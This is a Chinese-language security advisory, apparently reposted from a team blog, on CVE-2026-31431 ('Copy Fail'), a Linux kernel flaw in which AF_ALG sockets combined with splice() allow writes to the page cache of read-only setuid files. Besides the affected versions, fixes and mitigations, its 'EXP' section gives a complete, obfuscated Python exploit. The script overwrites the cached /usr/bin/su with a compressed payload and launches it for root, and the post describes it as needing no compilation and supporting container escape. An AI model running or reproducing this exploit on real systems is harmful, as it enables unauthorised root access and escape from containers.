文章总结: CVE-2026-31431是Linux内核加密子系统AFALG套接字与splice()系统调用组合使用时存在的页缓存写入逻辑缺陷漏洞,允许普通用户通过Python脚本稳定获取Root权限并支持容器逃逸。影响自2017年以来几乎所有主流Linux发行版,建议升级至LinuxKernel6.18.22/6.19.12/7.0或应用补丁Commita664bf3d603d,临时缓解可禁用algifaead模块或配置Seccomp策略。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,Linux内核安全,权限提升,容器安全
CVE-2026-31431
F1A4 F1A4
F1A4安全团队
2026年4月30日 22:56 宁夏
在小说阅读器读本章
去阅读
F1A4
团队招新
F1A4团队诚聘英才
JOIN US…
热爱网安、喜欢CTF即可报名,大一同学会放宽要求;有参赛/获奖经历优先,不兼其他高校联队,服从赛事安排、乐于交流即可。
报名:邮箱[email protected]
邮件格式:姓名+主攻方向,投递后进入纳新群
F1A4团队
公众号:F1A4安全团队
携手前进 共创未来
CVE-2026-31431
01
漏洞信息
漏洞名称:Copy Fail
漏洞编号:CVE-2026-31431
危害等级:高危
核心影响:普通用户可稳定获取 Root 权限,且支持容器逃逸。
利用难度:极低。无需竞争条件,无需编译,仅需一个 Python 脚本即可利用。
02
EXP
!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):
return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind((“aead”,”authencesn(hmac(sha256),cbc(aes))”));h=279;v=a.setsockopt;v(h,1,d(‘0800010000000010’+’0’*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(’00’);u.sendmsg([b”A”*4+c],[(h,3,i*4),(h,2,b’\x10’+i*19),(h,4,b’\x08’+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:
u.recv(8+t)
except:0
f=g.open(“/usr/bin/su”,0);i=0;e=zlib.decompress(d(“78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3”))
while i<len(e):
c(f,i,e[i:i+4])
i+=4
g.system(“su”)
03
目前已知受影响版本
- 自 2017 年以来几乎所有主流 Linux 发行版,如:
- Ubuntu 24.04 LTS
- Amazon Linux 2023
- Red Hat Enterprise Linux 10 / 9 / 8
- SUSE 16
- 及基于上述内核版本的各类衍生发行版
04
修复版本
- Linux Kernel 6.18:升级至 6.18.22 及以上
- Linux Kernel 6.19:升级至 6.19.12 及以上
- Linux Kernel 7.0:升级至 7.0 或应用相关补丁
- 旧版本内核:应用官方 Commit a664bf3d603d
05
漏洞根源
内核加密子系统中,AF_ALG套接字与splice()系统调用组合使用时存在页缓存写入逻辑缺陷,导致对只读setuid文件的非法篡改成为可能。
06
漏洞原理
该漏洞的核心问题,在于Linux内核加密子系统处理AF_ALG套接字数据拷贝时的逻辑不一致:
1. AF_ALG加密接口异常:内核的AF_ALG(Algorithm Socket)加密接口在配合splice()系统调用时,错误地允许向任意可读文件的页缓存(page cache)写入数据,即使该文件本身为只读权限;
2. 页缓存污染:攻击者利用该缺陷,可向系统上任意可读文件(如/usr/bin/passwd、/usr/bin/sudo等setuid程序)的页缓存中,精准写入受控的4字节数据,覆盖程序的关键逻辑或校验字段;
3. setuid程序篡改:由于页缓存被污染,当系统后续执行该setuid程序时,实际运行的是被篡改后的内存版本,而非磁盘上的原始只读文件,从而绕过setuid机制的安全边界;
4. 权限直接提升:攻击者通过篡改特定的setuid程序,使其在执行时直接授予攻击者进程root权限上下文,无需竞争条件、无需暴力破解,即可稳定获得root shell。
简单来说,攻击者只需利用AF_ALG与splice()的组合,向系统关键setuid程序的页缓存中”注入”4字节恶意数据,就能让内核在后续执行该程序时,错误地将其识别为合法操作,从而直接突破权限管控,获取root权限。
07
缓解措施
如果无法及时升级,请禁用漏洞模块,阻止 algif_aead 模块被加载。
(注:如果内核将该功能静态编译进去了,此方法无效,必须升级内核)
对于 Docker/K8s 环境,建议通过 Seccomp 策略禁止容器内创建 AF_ALG 套接字,防止容器逃逸。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:F1A4安全团队 F1A4 F1A4《CVE-2026-31431》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论